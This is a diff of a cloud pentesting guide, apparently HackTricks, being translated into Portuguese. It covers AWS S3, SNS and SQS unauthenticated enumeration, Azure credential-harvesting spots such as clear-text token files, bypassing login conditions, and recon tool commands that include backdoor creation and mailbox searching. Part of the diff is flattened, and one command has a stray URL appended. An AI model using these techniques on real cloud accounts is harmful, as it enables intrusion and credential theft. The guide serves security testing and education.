[https://buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/), a web with already **discovered open buckets**. -- The **bucket name** and the **bucket domain name** needs to be **the same.** - - **flaws.cloud** is in **IP** 52.92.181.107 and if you go there it redirects you to [https://aws.amazon.com/s3/](https://aws.amazon.com/s3/). Also, `dig -x 52.92.181.107` gives `s3-website-us-west-2.amazonaws.com`. - - To check it's a bucket you can also **visit** [https://flaws.cloud.s3.amazonaws.com/](https://flaws.cloud.s3.amazonaws.com/). +- Verifique por **CNAMES** como `resources.domain.com` que pode ter o CNAME `bucket.s3.amazonaws.com` +- Verifique [https://buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/), um site com **buckets abertos já descobertos**. +- O **nome do bucket** e o **nome do domínio do bucket** precisam ser **os mesmos.** +- **flaws.cloud** está no **IP** 52.92.181.107 e se você for lá, ele redireciona você para [https://aws.amazon.com/s3/](https://aws.amazon.com/s3/). Além disso, `dig -x 52.92.181.107` retorna `s3-website-us-west-2.amazonaws.com`. +- Para verificar se é um bucket, você também pode **visitar** [https://flaws.cloud.s3.amazonaws.com/](https://flaws.cloud.s3.amazonaws.com/). -#### Brute-Force +#### Força Bruta -You can find buckets by **brute-forcing name**s related to the company you are pentesting: +Você pode encontrar buckets **forçando nomes** relacionados à empresa que você está testando: - [https://github.com/sa7mon/S3Scanner](https://github.com/sa7mon/S3Scanner) - [https://github.com/clario-tech/s3-inspector](https://github.com/clario-tech/s3-inspector) -- [https://github.com/jordanpotti/AWSBucketDump](https://github.com/jordanpotti/AWSBucketDump) (Contains a list with potential bucket names) +- [https://github.com/jordanpotti/AWSBucketDump](https://github.com/jordanpotti/AWSBucketDump) (Contém uma lista com nomes de buckets potenciais) - [https://github.com/fellchase/flumberboozle/tree/master/flumberbuckets](https://github.com/fellchase/flumberboozle/tree/master/flumberbuckets) - [https://github.com/smaranchand/bucky](https://github.com/smaranchand/bucky) - [https://github.com/tomdev/teh_s3_bucketeers](https://github.com/tomdev/teh_s3_bucketeers) @@ -45,48 +45,47 @@ You can find buckets by **brute-forcing name**s related to the company you are p - [https://github.com/Eilonh/s3crets_scanner](https://github.com/Eilonh/s3crets_scanner) - [https://github.com/belane/CloudHunter](https://github.com/belane/CloudHunter) -
# Generate a wordlist to create permutations
+
# Gerar uma lista de palavras para criar permutações
 curl -s https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt > /tmp/words-s3.txt.temp
 curl -s https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt >>/tmp/words-s3.txt.temp
 cat /tmp/words-s3.txt.temp | sort -u > /tmp/words-s3.txt
 
-# Generate a wordlist based on the domains and subdomains to test
-## Write those domains and subdomains in subdomains.txt
+# Gerar uma lista de palavras com base nos domínios e subdomínios para testar
+## Escreva esses domínios e subdomínios em subdomains.txt
 cat subdomains.txt > /tmp/words-hosts-s3.txt
 cat subdomains.txt | tr "." "-" >> /tmp/words-hosts-s3.txt
 cat subdomains.txt | tr "." "\n" | sort -u >> /tmp/words-hosts-s3.txt
 
-# Create permutations based in a list with the domains and subdomains to attack
+# Criar permutações com base em uma lista com os domínios e subdomínios a serem atacados
 goaltdns -l /tmp/words-hosts-s3.txt -w /tmp/words-s3.txt -o /tmp/final-words-s3.txt.temp
-## The previous tool is specialized increating permutations for subdomains, lets filter that list
-### Remove lines ending with "."
+## A ferramenta anterior é especializada em criar permutações para subdomínios, vamos filtrar essa lista
+### Remover linhas que terminam com "."
 cat /tmp/final-words-s3.txt.temp | grep -Ev "\.$" > /tmp/final-words-s3.txt.temp2
-### Create list without TLD
+### Criar lista sem TLD
 cat /tmp/final-words-s3.txt.temp2 | sed -E 's/\.[a-zA-Z0-9]+$//' > /tmp/final-words-s3.txt.temp3
-### Create list without dots
+### Criar lista sem pontos
 cat /tmp/final-words-s3.txt.temp3 | tr -d "." > /tmp/final-words-s3.txt.temp4http://phantom.s3.amazonaws.com/
-### Create list without hyphens
+### Criar lista sem hífens
 cat /tmp/final-words-s3.txt.temp3 | tr "." "-" > /tmp/final-words-s3.txt.temp5
 
-## Generate the final wordlist
+## Gerar a lista de palavras final
 cat /tmp/final-words-s3.txt.temp2 /tmp/final-words-s3.txt.temp3 /tmp/final-words-s3.txt.temp4 /tmp/final-words-s3.txt.temp5 | grep -v -- "-\." | awk '{print tolower($0)}' | sort -u > /tmp/final-words-s3.txt
 
-## Call s3scanner
+## Chamar s3scanner
 s3scanner --threads 100 scan --buckets-file /tmp/final-words-s3.txt  | grep bucket_exists
 
-#### Loot S3 Buckets +#### Saque de Buckets S3 -Given S3 open buckets, [**BucketLoot**](https://github.com/redhuntlabs/BucketLoot) can automatically **search for interesting information**. +Dado buckets S3 abertos, [**BucketLoot**](https://github.com/redhuntlabs/BucketLoot) pode automaticamente **procurar informações interessantes**. -### Find the Region +### Encontrar a Região -You can find all the supported regions by AWS in [**https://docs.aws.amazon.com/general/latest/gr/s3.html**](https://docs.aws.amazon.com/general/latest/gr/s3.html) +Você pode encontrar todas as regiões suportadas pela AWS em [**https://docs.aws.amazon.com/general/latest/gr/s3.html**](https://docs.aws.amazon.com/general/latest/gr/s3.html) -#### By DNS - -You can get the region of a bucket with a **`dig`** and **`nslookup`** by doing a **DNS request of the discovered IP**: +#### Por DNS +Você pode obter a região de um bucket com um **`dig`** e **`nslookup`** fazendo uma **solicitação DNS do IP descoberto**: ```bash dig flaws.cloud ;; ANSWER SECTION: @@ -96,31 +95,29 @@ nslookup 52.218.192.11 Non-authoritative answer: 11.192.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com. ``` +Verifique se o domínio resolvido contém a palavra "website".\ +Você pode acessar o site estático indo para: `flaws.cloud.s3-website-us-west-2.amazonaws.com`\ +ou você pode acessar o bucket visitando: `flaws.cloud.s3-us-west-2.amazonaws.com` -Check that the resolved domain have the word "website".\ -You can access the static website going to: `flaws.cloud.s3-website-us-west-2.amazonaws.com`\ -or you can access the bucket visiting: `flaws.cloud.s3-us-west-2.amazonaws.com` +#### Tentando -#### By Trying - -If you try to access a bucket, but in the **domain name you specify another region** (for example the bucket is in `bucket.s3.amazonaws.com` but you try to access `bucket.s3-website-us-west-2.amazonaws.com`, then you will be **indicated to the correct location**: +Se você tentar acessar um bucket, mas no **nome do domínio você especificar outra região** (por exemplo, o bucket está em `bucket.s3.amazonaws.com`, mas você tenta acessar `bucket.s3-website-us-west-2.amazonaws.com`, então você será **indicado para o local correto**: ![](<../../../images/image (106).png>) -### Enumerating the bucket +### Enumerando o bucket -To test the openness of the bucket a user can just enter the URL in their web browser. A private bucket will respond with "Access Denied". A public bucket will list the first 1,000 objects that have been stored. +Para testar a abertura do bucket, um usuário pode simplesmente inserir a URL em seu navegador. Um bucket privado responderá com "Acesso Negado". Um bucket público listará os primeiros 1.000 objetos que foram armazenados. -Open to everyone: +Aberto para todos: ![](<../../../images/image (201).png>) -Private: +Privado: ![](<../../../images/image (83).png>) -You can also check this with the cli: - +Você também pode verificar isso com o cli: ```bash #Use --no-sign-request for check Everyones permissions #Use --profile to indicate the AWS profile(keys) that youwant to use: Check for "Any Authenticated AWS User" permissions @@ -128,22 +125,18 @@ You can also check this with the cli: #Opcionally you can select the region if you now it aws s3 ls s3://flaws.cloud/ [--no-sign-request] [--profile ] [ --recursive] [--region us-west-2] ``` +Se o bucket não tiver um nome de domínio, ao tentar enumerá-lo, **coloque apenas o nome do bucket** e não o domínio completo do AWSs3. Exemplo: `s3://` -If the bucket doesn't have a domain name, when trying to enumerate it, **only put the bucket name** and not the whole AWSs3 domain. Example: `s3://` - -### Public URL template - +### Modelo de URL pública ``` https://{user_provided}.s3.amazonaws.com ``` +### Obter ID da Conta a partir de um Bucket público -### Get Account ID from public Bucket - -It's possible to determine an AWS account by taking advantage of the new **`S3:ResourceAccount`** **Policy Condition Key**. This condition **restricts access based on the S3 bucket** an account is in (other account-based policies restrict based on the account the requesting principal is in).\ -And because the policy can contain **wildcards** it's possible to find the account number **just one number at a time**. - -This tool automates the process: +É possível determinar uma conta AWS aproveitando a nova **`S3:ResourceAccount`** **Chave de Condição de Política**. Esta condição **restrige o acesso com base no bucket S3** em que uma conta está (outras políticas baseadas em conta restringem com base na conta em que o principal solicitante está).\ +E como a política pode conter **coringas**, é possível encontrar o número da conta **apenas um número por vez**. +Esta ferramenta automatiza o processo: ```bash # Installation pipx install s3-account-search @@ -153,13 +146,11 @@ s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket # With an object s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket/path/to/object.ext ``` +Esta técnica também funciona com URLs do API Gateway, URLs do Lambda, conjuntos de dados do Data Exchange e até mesmo para obter o valor de tags (se você souber a chave da tag). Você pode encontrar mais informações na [**pesquisa original**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) e na ferramenta [**conditional-love**](https://github.com/plerionhq/conditional-love/) para automatizar essa exploração. -This technique also works with API Gateway URLs, Lambda URLs, Data Exchange data sets and even to get the value of tags (if you know the tag key). You can find more information in the [**original research**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) and the tool [**conditional-love**](https://github.com/plerionhq/conditional-love/) to automate this exploitation. - -### Confirming a bucket belongs to an AWS account - -As explained in [**this blog post**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/)**, if you have permissions to list a bucket** it’s possible to confirm an accountID the bucket belongs to by sending a request like: +### Confirmando que um bucket pertence a uma conta AWS +Como explicado em [**este post do blog**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/)**, se você tiver permissões para listar um bucket** é possível confirmar um accountID ao qual o bucket pertence enviando uma solicitação como: ```bash curl -X GET "[bucketname].amazonaws.com/" \ -H "x-amz-expected-bucket-owner: [correct-account-id]" @@ -167,41 +158,34 @@ curl -X GET "[bucketname].amazonaws.com/" \ ... ``` +Se o erro for "Acesso Negado", isso significa que o ID da conta estava errado. -If the error is an “Access Denied” it means that the account ID was wrong. - -### Used Emails as root account enumeration - -As explained in [**this blog post**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/), it's possible to check if an email address is related to any AWS account by **trying to grant an email permissions** over a S3 bucket via ACLs. If this doesn't trigger an error, it means that the email is a root user of some AWS account: +### Usando Emails como enumeração de conta root +Como explicado em [**este post do blog**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/), é possível verificar se um endereço de email está relacionado a alguma conta AWS **tentando conceder permissões a um email** sobre um bucket S3 via ACLs. Se isso não gerar um erro, significa que o email é um usuário root de alguma conta AWS: ```python s3_client.put_bucket_acl( - Bucket=bucket_name, - AccessControlPolicy={ - 'Grants': [ - { - 'Grantee': { - 'EmailAddress': 'some@emailtotest.com', - 'Type': 'AmazonCustomerByEmail', - }, - 'Permission': 'READ' - }, - ], - 'Owner': { - 'DisplayName': 'Whatever', - 'ID': 'c3d78ab5093a9ab8a5184de715d409c2ab5a0e2da66f08c2f6cc5c0bdeadbeef' - } - } +Bucket=bucket_name, +AccessControlPolicy={ +'Grants': [ +{ +'Grantee': { +'EmailAddress': 'some@emailtotest.com', +'Type': 'AmazonCustomerByEmail', +}, +'Permission': 'READ' +}, +], +'Owner': { +'DisplayName': 'Whatever', +'ID': 'c3d78ab5093a9ab8a5184de715d409c2ab5a0e2da66f08c2f6cc5c0bdeadbeef' +} +} ) ``` - -## References +## Referências - [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ) - [https://cloudar.be/awsblog/finding-the-account-id-of-any-public-s3-bucket/](https://cloudar.be/awsblog/finding-the-account-id-of-any-public-s3-bucket/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md index 7978eff36..19d6e459a 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md @@ -1,25 +1,21 @@ -# AWS - SNS Unauthenticated Enum +# AWS - SNS Enum Não Autenticado {{#include ../../../banners/hacktricks-training.md}} ## SNS -For more information about SNS check: +Para mais informações sobre SNS, consulte: {{#ref}} ../aws-services/aws-sns-enum.md {{#endref}} -### Open to All +### Aberto a Todos -When you configure a SNS topic from the web console it's possible to indicate that **Everyone can publish and subscribe** to the topic: +Quando você configura um tópico SNS a partir do console da web, é possível indicar que **Todos podem publicar e se inscrever** no tópico:
-So if you **find the ARN of topics** inside the account (or brute forcing potential names for topics) you can **check** if you can **publish** or **subscribe** to **them**. +Portanto, se você **encontrar o ARN dos tópicos** dentro da conta (ou forçar nomes potenciais para tópicos), você pode **verificar** se pode **publicar** ou **se inscrever** **neles**. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md index a5006a63b..fca1dae4d 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md @@ -4,24 +4,18 @@ ## SQS -For more information about SQS check: +Para mais informações sobre SQS, consulte: {{#ref}} ../aws-services/aws-sqs-and-sns-enum.md {{#endref}} -### Public URL template - +### Modelo de URL pública ``` https://sqs.[region].amazonaws.com/[account-id]/{user_provided} ``` +### Verificar Permissões -### Check Permissions - -It's possible to misconfigure a SQS queue policy and grant permissions to everyone in AWS to send and receive messages, so if you get the ARN of queues try if you can access them. +É possível configurar incorretamente uma política de fila SQS e conceder permissões a todos na AWS para enviar e receber mensagens, então se você obtiver o ARN das filas, tente ver se consegue acessá-las. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/README.md b/src/pentesting-cloud/azure-security/README.md index 9d2de65fc..81ef40e48 100644 --- a/src/pentesting-cloud/azure-security/README.md +++ b/src/pentesting-cloud/azure-security/README.md @@ -2,86 +2,85 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Informações Básicas {{#ref}} az-basic-information/ {{#endref}} -## Azure Pentester/Red Team Methodology +## Metodologia de Pentesting/Red Team do Azure -In order to audit an AZURE environment it's very important to know: which **services are being used**, what is **being exposed**, who has **access** to what, and how are internal Azure services and **external services** connected. +Para auditar um ambiente AZURE, é muito importante saber: quais **serviços estão sendo utilizados**, o que está **sendo exposto**, quem tem **acesso** a quê, e como os serviços internos do Azure e os **serviços externos** estão conectados. -From a Red Team point of view, the **first step to compromise an Azure environment** is to manage to obtain some **credentials** for Azure AD. Here you have some ideas on how to do that: +Do ponto de vista de um Red Team, o **primeiro passo para comprometer um ambiente Azure** é conseguir obter algumas **credenciais** para o Azure AD. Aqui estão algumas ideias sobre como fazer isso: -- **Leaks** in github (or similar) - OSINT -- **Social** Engineering -- **Password** reuse (password leaks) -- Vulnerabilities in Azure-Hosted Applications - - [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) with access to metadata endpoint - - **Local File Read** - - `/home/USERNAME/.azure` - - `C:\Users\USERNAME\.azure` - - The file **`accessTokens.json`** in `az cli` before 2.30 - Jan2022 - stored **access tokens in clear text** - - The file **`azureProfile.json`** contains **info** about logged user. - - **`az logout`** removes the token. - - Older versions of **`Az PowerShell`** stored **access tokens** in **clear** text in **`TokenCache.dat`**. It also stores **ServicePrincipalSecret** in **clear**-text in **`AzureRmContext.json`**. The cmdlet **`Save-AzContext`** can be used to **store** **tokens**.\ - Use `Disconnect-AzAccount` to remove them. -- 3rd parties **breached** -- **Internal** Employee -- [**Common Phishing**](https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodology) (credentials or Oauth App) - - [Device Code Authentication Phishing](az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md) -- [Azure **Password Spraying**](az-unauthenticated-enum-and-initial-entry/az-password-spraying.md) +- **Vazamentos** no github (ou similar) - OSINT +- **Engenharia** Social +- Reutilização de **senhas** (vazamentos de senhas) +- Vulnerabilidades em Aplicações Hospedadas no Azure +- [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) com acesso ao endpoint de metadados +- **Leitura de Arquivo Local** +- `/home/USERNAME/.azure` +- `C:\Users\USERNAME\.azure` +- O arquivo **`accessTokens.json`** no `az cli` antes da versão 2.30 - Jan2022 - armazenava **tokens de acesso em texto claro** +- O arquivo **`azureProfile.json`** contém **informações** sobre o usuário logado. +- **`az logout`** remove o token. +- Versões mais antigas do **`Az PowerShell`** armazenavam **tokens de acesso** em **texto claro** no **`TokenCache.dat`**. Também armazena **ServicePrincipalSecret** em **texto claro** no **`AzureRmContext.json`**. O cmdlet **`Save-AzContext`** pode ser usado para **armazenar** **tokens**.\ +Use `Disconnect-AzAccount` para removê-los. +- **Terceiros** **comprometidos** +- Funcionário **Interno** +- [**Phishing Comum**](https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodology) (credenciais ou Oauth App) +- [Phishing de Autenticação por Código de Dispositivo](az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md) +- [**Password Spraying** do Azure](az-unauthenticated-enum-and-initial-entry/az-password-spraying.md) -Even if you **haven't compromised any user** inside the Azure tenant you are attacking, you can **gather some information** from it: +Mesmo que você **não tenha comprometido nenhum usuário** dentro do tenant do Azure que está atacando, você pode **coletar algumas informações** dele: {{#ref}} az-unauthenticated-enum-and-initial-entry/ {{#endref}} > [!NOTE] -> After you have managed to obtain credentials, you need to know **to who do those creds belong**, and **what they have access to**, so you need to perform some basic enumeration: +> Depois de conseguir obter credenciais, você precisa saber **de quem são essas credenciais**, e **a que elas têm acesso**, então você precisa realizar alguma enumeração básica: -## Basic Enumeration +## Enumeração Básica > [!NOTE] -> Remember that the **noisiest** part of the enumeration is the **login**, not the enumeration itself. +> Lembre-se que a parte **mais barulhenta** da enumeração é o **login**, não a enumeração em si. ### SSRF -If you found a SSRF in a machine inside Azure check this page for tricks: +Se você encontrou um SSRF em uma máquina dentro do Azure, verifique esta página para truques: {{#ref}} https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf {{#endref}} -### Bypass Login Conditions +### Bypass de Condições de Login
-In cases where you have some valid credentials but you cannot login, these are some common protections that could be in place: +Nos casos em que você tem algumas credenciais válidas, mas não consegue fazer login, estas são algumas proteções comuns que podem estar em vigor: -- **IP whitelisting** -- You need to compromise a valid IP -- **Geo restrictions** -- Find where the user lives or where are the offices of the company and get a IP from the same city (or contry at least) -- **Browser** -- Maybe only a browser from certain OS (Windows, Linux, Mac, Android, iOS) is allowed. Find out which OS the victim/company uses. -- You can also try to **compromise Service Principal credentials** as they usually are less limited and its login is less reviewed +- **Whitelist de IP** -- Você precisa comprometer um IP válido +- **Restrições geográficas** -- Descubra onde o usuário mora ou onde estão os escritórios da empresa e obtenha um IP da mesma cidade (ou país, pelo menos) +- **Navegador** -- Talvez apenas um navegador de um determinado SO (Windows, Linux, Mac, Android, iOS) seja permitido. Descubra qual SO a vítima/empresa usa. +- Você também pode tentar **comprometer credenciais de Service Principal**, pois geralmente são menos limitadas e seu login é menos revisado -After bypassing it, you might be able to get back to your initial setup and you will still have access. +Após contornar isso, você pode ser capaz de voltar à sua configuração inicial e ainda terá acesso. -### Subdomain Takeover +### Tomada de Subdomínio - [https://godiego.co/posts/STO-Azure/](https://godiego.co/posts/STO-Azure/) ### Whoami > [!CAUTION] -> Learn **how to install** az cli, AzureAD and Az PowerShell in the [**Az - Entra ID**](az-services/az-azuread.md) section. +> Aprenda **como instalar** az cli, AzureAD e Az PowerShell na seção [**Az - Entra ID**](az-services/az-azuread.md). -One of the first things you need to know is **who you are** (in which environment you are): +Uma das primeiras coisas que você precisa saber é **quem você é** (em qual ambiente você está): {{#tabs }} {{#tab name="az cli" }} - ```bash az account list az account tenant list # Current tenant info @@ -90,22 +89,18 @@ az ad signed-in-user show # Current signed-in user az ad signed-in-user list-owned-objects # Get owned objects by current user az account management-group list #Not allowed by default ``` - {{#endtab }} {{#tab name="AzureAD" }} - ```powershell #Get the current session state Get-AzureADCurrentSessionInfo #Get details of the current tenant Get-AzureADTenantDetail ``` - {{#endtab }} {{#tab name="Az PowerShell" }} - ```powershell # Get the information about the current context (Account, Tenant, Subscription etc.) Get-AzContext @@ -121,53 +116,49 @@ Get-AzResource Get-AzRoleAssignment # For all users Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com # For current user ``` - {{#endtab }} {{#endtabs }} > [!CAUTION] -> Oone of the most important commands to enumerate Azure is **`Get-AzResource`** from Az PowerShell as it lets you **know the resources your current user has visibility over**. +> Um dos comandos mais importantes para enumerar o Azure é **`Get-AzResource`** do Az PowerShell, pois permite que você **saiba os recursos que seu usuário atual tem visibilidade**. > -> You can get the same info in the **web console** going to [https://portal.azure.com/#view/HubsExtension/BrowseAll](https://portal.azure.com/#view/HubsExtension/BrowseAll) or searching for "All resources" +> Você pode obter as mesmas informações na **console web** acessando [https://portal.azure.com/#view/HubsExtension/BrowseAll](https://portal.azure.com/#view/HubsExtension/BrowseAll) ou pesquisando por "Todos os recursos" -### ENtra ID Enumeration +### Enumeração do ENtra ID -By default, any user should have **enough permissions to enumerate** things such us, users, groups, roles, service principals... (check [default AzureAD permissions](az-basic-information/#default-user-permissions)).\ -You can find here a guide: +Por padrão, qualquer usuário deve ter **permissões suficientes para enumerar** coisas como, usuários, grupos, funções, principais de serviço... (ver [permissões padrão do AzureAD](az-basic-information/#default-user-permissions)).\ +Você pode encontrar aqui um guia: {{#ref}} az-services/az-azuread.md {{#endref}} > [!NOTE] -> Now that you **have some information about your credentials** (and if you are a red team hopefully you **haven't been detected**). It's time to figure out which services are being used in the environment.\ -> In the following section you can check some ways to **enumerate some common services.** +> Agora que você **tem algumas informações sobre suas credenciais** (e se você é um red team, espero que você **não tenha sido detectado**). É hora de descobrir quais serviços estão sendo usados no ambiente.\ +> Na seção a seguir, você pode verificar algumas maneiras de **enumerar alguns serviços comuns.** ## App Service SCM -Kudu console to log in to the App Service 'container'. +Console Kudu para fazer login no 'container' do App Service. ## Webshell -Use portal.azure.com and select the shell, or use shell.azure.com, for a bash or powershell. The 'disk' of this shell are stored as an image file in a storage-account. +Use portal.azure.com e selecione o shell, ou use shell.azure.com, para um bash ou powershell. O 'disco' deste shell é armazenado como um arquivo de imagem em uma conta de armazenamento. ## Azure DevOps -Azure DevOps is separate from Azure. It has repositories, pipelines (yaml or release), boards, wiki, and more. Variable Groups are used to store variable values and secrets. +Azure DevOps é separado do Azure. Ele possui repositórios, pipelines (yaml ou release), quadros, wiki e mais. Grupos de Variáveis são usados para armazenar valores de variáveis e segredos. ## Debug | MitM az cli -Using the parameter **`--debug`** it's possible to see all the requests the tool **`az`** is sending: - +Usando o parâmetro **`--debug`**, é possível ver todas as requisições que a ferramenta **`az`** está enviando: ```bash az account management-group list --output table --debug ``` - -In order to do a **MitM** to the tool and **check all the requests** it's sending manually you can do: +Para fazer um **MitM** na ferramenta e **verificar todas as requisições** que ela está enviando manualmente, você pode fazer: {{#tabs }} {{#tab name="Bash" }} - ```bash export ADAL_PYTHON_SSL_NO_VERIFY=1 export AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1 @@ -180,25 +171,21 @@ export HTTP_PROXY="http://127.0.0.1:8080" openssl x509 -in ~/Downloads/cacert.der -inform DER -out ~/Downloads/cacert.pem -outform PEM export REQUESTS_CA_BUNDLE=/Users/user/Downloads/cacert.pem ``` - {{#endtab }} {{#tab name="PS" }} - ```bash $env:ADAL_PYTHON_SSL_NO_VERIFY=1 $env:AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1 $env:HTTPS_PROXY="http://127.0.0.1:8080" $env:HTTP_PROXY="http://127.0.0.1:8080" ``` - {{#endtab }} {{#endtabs }} -## Automated Recon Tools +## Ferramentas de Reconhecimento Automatizado ### [**ROADRecon**](https://github.com/dirkjanm/ROADtools) - ```powershell cd ROADTools pipenv shell @@ -206,9 +193,7 @@ roadrecon auth -u test@corp.onmicrosoft.com -p "Welcome2022!" roadrecon gather roadrecon gui ``` - ### [Monkey365](https://github.com/silverhack/monkey365) - ```powershell Import-Module monkey365 Get-Help Invoke-Monkey365 @@ -216,9 +201,7 @@ Get-Help Invoke-Monkey365 -Detailed Invoke-Monkey365 -IncludeEntraID -ExportTo HTML -Verbose -Debug -InformationAction Continue Invoke-Monkey365 - Instance Azure -Analysis All -ExportTo HTML ``` - ### [**Stormspotter**](https://github.com/Azure/Stormspotter) - ```powershell # Start Backend cd stormspotter\backend\ @@ -236,9 +219,7 @@ az login -u test@corp.onmicrosoft.com -p Welcome2022! python stormspotter\stormcollector\sscollector.pyz cli # This will generate a .zip file to upload in the frontend (127.0.0.1:9091) ``` - ### [**AzureHound**](https://github.com/BloodHoundAD/AzureHound) - ```powershell # You need to use the Az PowerShell and Azure AD modules: $passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force @@ -294,9 +275,7 @@ MATCH p=(m:User)-[r:AZResetPassword|AZOwns|AZUserAccessAdministrator|AZContribu ## All Azure AD Groups that are synchronized with On-Premise AD MATCH (n:Group) WHERE n.objectid CONTAINS 'S-1-5' AND n.azsyncid IS NOT NULL RETURN n ``` - ### [Azucar](https://github.com/nccgroup/azucar) - ```bash # You should use an account with at least read-permission on the assets you want to access git clone https://github.com/nccgroup/azucar.git @@ -309,17 +288,13 @@ PS> .\Azucar.ps1 -ExportTo CSV,JSON,XML,EXCEL -AuthMode Certificate_Credentials # resolve the TenantID for an specific username PS> .\Azucar.ps1 -ResolveTenantUserName user@company.com ``` - ### [**MicroBurst**](https://github.com/NetSPI/MicroBurst) - ``` Import-Module .\MicroBurst.psm1 Import-Module .\Get-AzureDomainInfo.ps1 Get-AzureDomainInfo -folder MicroBurst -Verbose ``` - ### [**PowerZure**](https://github.com/hausec/PowerZure) - ```powershell Connect-AzAccount ipmo C:\Path\To\Powerzure.psd1 @@ -340,9 +315,7 @@ $ Set-Role -Role Contributor -User test@contoso.com -Resource Win10VMTest # Administrator $ Create-Backdoor, Execute-Backdoor ``` - ### [**GraphRunner**](https://github.com/dafthack/GraphRunner/wiki/Invoke%E2%80%90GraphRunner) - ```powershell #Get-GraphTokens @@ -398,9 +371,4 @@ Get-TenantID -Domain #Runs Invoke-GraphRecon, Get-AzureADUsers, Get-SecurityGroups, Invoke-DumpCAPS, Invoke-DumpApps, and then uses the default_detectors.json file to search with Invoke-SearchMailbox, Invoke-SearchSharePointAndOneDrive, and Invoke-SearchTeams. Invoke-GraphRunner -Tokens $tokens ``` - {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-basic-information/README.md b/src/pentesting-cloud/azure-security/az-basic-information/README.md index a600b66dc..d22ebc2e5 100644 --- a/src/pentesting-cloud/azure-security/az-basic-information/README.md +++ b/src/pentesting-cloud/azure-security/az-basic-information/README.md @@ -1,376 +1,372 @@ -# Az - Basic Information +# Az - Informações Básicas {{#include ../../../banners/hacktricks-training.md}} -## Organization Hierarchy +## Hierarquia da Organização

https://www.tunecom.be/stg_ba12f/wp-content/uploads/2020/01/VDC-Governance-ManagementGroups-1536x716.png

-### Management Groups +### Grupos de Gerenciamento -- It can contain **other management groups or subscriptions**. -- This allows to **apply governance controls** such as RBAC and Azure Policy once at the management group level and have them **inherited** by all the subscriptions in the group. -- **10,000 management** groups can be supported in a single directory. -- A management group tree can support **up to six levels of depth**. This limit doesn’t include the root level or the subscription level. -- Each management group and subscription can support **only one parent**. -- Even if several management groups can be created **there is only 1 root management group**. - - The root management group **contains** all the **other management groups and subscriptions** and **cannot be moved or deleted**. -- All subscriptions within a single management group must trust the **same Entra ID tenant.** +- Pode conter **outros grupos de gerenciamento ou assinaturas**. +- Isso permite **aplicar controles de governança** como RBAC e Azure Policy uma vez no nível do grupo de gerenciamento e tê-los **herdados** por todas as assinaturas no grupo. +- **10.000 grupos de gerenciamento** podem ser suportados em um único diretório. +- Uma árvore de grupos de gerenciamento pode suportar **até seis níveis de profundidade**. Este limite não inclui o nível raiz ou o nível de assinatura. +- Cada grupo de gerenciamento e assinatura pode suportar **apenas um pai**. +- Mesmo que vários grupos de gerenciamento possam ser criados, **existe apenas 1 grupo de gerenciamento raiz**. +- O grupo de gerenciamento raiz **contém** todos os **outros grupos de gerenciamento e assinaturas** e **não pode ser movido ou excluído**. +- Todas as assinaturas dentro de um único grupo de gerenciamento devem confiar no **mesmo inquilino do Entra ID.**

https://td-mainsite-cdn.tutorialsdojo.com/wp-content/uploads/2023/02/managementgroups-768x474.png

